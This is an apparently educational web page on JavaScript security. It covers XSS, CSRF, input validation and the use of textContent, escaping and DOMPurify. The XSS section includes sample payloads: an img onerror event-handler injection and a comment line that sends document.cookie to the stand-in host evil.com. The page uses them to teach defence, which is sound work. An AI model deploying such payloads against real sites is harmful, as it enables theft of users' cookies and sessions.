← thecodex.expert · The Codex Family of Knowledge
The Codex / JavaScript / Security in JavaScript

Security in JavaScript

XSS, CSRF, CSP, input validation, safe dependencies — the security fundamentals every JavaScript developer must know.

What it is, in plain English: Security in JavaScript centres on one truth: never trust user input. XSS (Cross-Site Scripting) — injecting malicious scripts via user content — is the most common web vulnerability. CSRF (Cross-Site Request Forgery) tricks authenticated users into making unwanted requests. Content Security Policy (CSP) is a browser security layer that restricts what scripts can run. These aren't advanced topics — they're things every developer who ships code to users must understand.
Where this bites you

Testing an innerHTML sink with <script>alert(1)</script> proves nothing. Browsers never run <script> elements inserted through innerHTML, so the test passes and the page looks safe. Attackers use event-handler attributes instead, such as <img src="x" onerror="…">, and those do run. The sink is just as dangerous as it looked; the test simply couldn't see it.

// <div id="comments"></div>
const commentDiv = document.getElementById("comments");

// the developer's XSS test -- nothing happens, so it looks safe:
commentDiv.innerHTML = '<script>console.log("script ran")<\/script>';

// what an attacker actually sends:
commentDiv.innerHTML = '<img src="x" onerror="console.log(\'attacker code ran\')">';
// attacker code ran          ("script ran" never appears)

The attacks and how to prevent them

The golden rule: never trust user input. Any data that comes from a user — form fields, URL parameters, uploaded files, API responses — must be validated and sanitised before use.

XSS — Cross-Site Scripting

XSS is when an attacker injects malicious JavaScript into your page via user-controlled content. If your page displays user input as HTML, that content can include markup such as <img src=x onerror=…> whose event handlers run in your users' browsers — stealing cookies, session tokens, and personal data.

// ✗ DANGEROUS — innerHTML with user data:
const comment = userInput;  // e.g. '<script>fetch("evil.com?c="+document.cookie)</script>'
commentDiv.innerHTML = comment;  // ← markup is parsed: an <img onerror=…> payload runs (an inserted <script> doesn't)

// ✓ SAFE — textContent always treats content as plain text:
commentDiv.textContent = comment;  // script tag is shown as text, never executed

// ✓ SAFE — escape HTML before using innerHTML:
function escapeHTML(str) {
  return str
    .replace(/&/g,  "&amp;")
    .replace(/</g,  "&lt;")
    .replace(/>/g,  "&gt;")
    .replace(/"/g,  "&quot;")
    .replace(/'/g,  "&#039;");
}
commentDiv.innerHTML = escapeHTML(comment);  // safe

// ✓ USE a sanitisation library for rich text (user content with allowed HTML):
// import DOMPurify from "dompurify";
// commentDiv.innerHTML = DOMPurify.sanitize(richTextInput);
// DOMPurify strips dangerous tags/attributes while allowing safe HTML

So don't decide whether an innerHTML assignment is safe by testing it with <script>. Treat every innerHTML with user data as exploitable, and use textContent (or escapeHTML(), or DOMPurify for rich text) as shown above. With textContent, the same payload becomes harmless visible text:

const commentDiv = document.getElementById("comments");
const comment = '<img src="x" onerror="console.log(\'attacker code ran\')">';

commentDiv.textContent = comment;                 // shown as text, never parsed as HTML
console.log(commentDiv.innerHTML);
// &lt;img src="x" onerror="console.log('attacker code ran')"&gt;

CSRF — Cross-Site Request Forgery

// Attack: a malicious site tricks your logged-in user into making a request
// to your site (e.g. "change email" or "transfer money")

// Prevention 1: SameSite cookies (set on the server):
// Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
// SameSite=Strict → cookie not sent on cross-site requests

// Prevention 2: CSRF tokens (for forms):
// Server generates a random token, embeds in form, validates on submit:
// <input type="hidden" name="csrf_token" value="a8f3k...">

// Prevention 3: Check the Origin/Referer header on sensitive requests
// (backend responsibility — but good to understand)

Input validation — always, on every field

// Never trust what arrives — validate shape, type, and range:
function validateUserInput(data) {
  const errors = [];

  if (!data.email?.includes("@"))           errors.push("Invalid email");
  if (typeof data.age !== "number")          errors.push("Age must be a number");
  if (data.age < 0 || data.age > 150)       errors.push("Age out of range");
  if (data.name?.length > 100)              errors.push("Name too long");
  if (!["user","admin"].includes(data.role)) errors.push("Invalid role");

  return errors;
}

// Note: client-side validation is for UX only.
// Always validate AGAIN on the server — a user can bypass client validation.
Try It Yourself

Official Sources

The Codex links only to official documentation and the ECMAScript specification. No third-party tutorials.